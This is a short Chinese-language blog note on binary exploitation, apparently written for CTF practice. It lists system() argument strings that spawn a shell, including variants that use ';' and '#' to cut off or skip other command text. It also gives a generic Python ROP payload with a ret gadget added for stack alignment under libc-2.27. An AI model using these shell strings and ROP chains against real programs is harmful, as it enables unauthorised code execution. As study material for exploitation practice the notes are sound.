本文编写于 148 天前,最后修改于 148 天前,其中某些信息可能已经过时。

栈溢出时常使用构造一个system系统调用来执行填充的binsh字符串的方法来getshell,确认system执行但命令出错的情况下,可以通过多调整字符串使其执行sh

  1. system("/bin/sh")
  2. system("sh")
  3. system("/bin/bash")
  4. system("bash")
  5. system("$0") shell变量"$0"代表当前shell文件名
  6. system("/bin/sh;#") 防止截断
  7. system("/bin/sh;0")保证截断
  8. system(";/bin/sh") 忽略前面一个指令

libc-2.27 Tricks

ROP调用system有movaps需要操作数16字节对齐,若栈溢出时破坏对齐,需要加ret使其对齐

payload = 'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

参考 http://homura.cc/blog/archives/168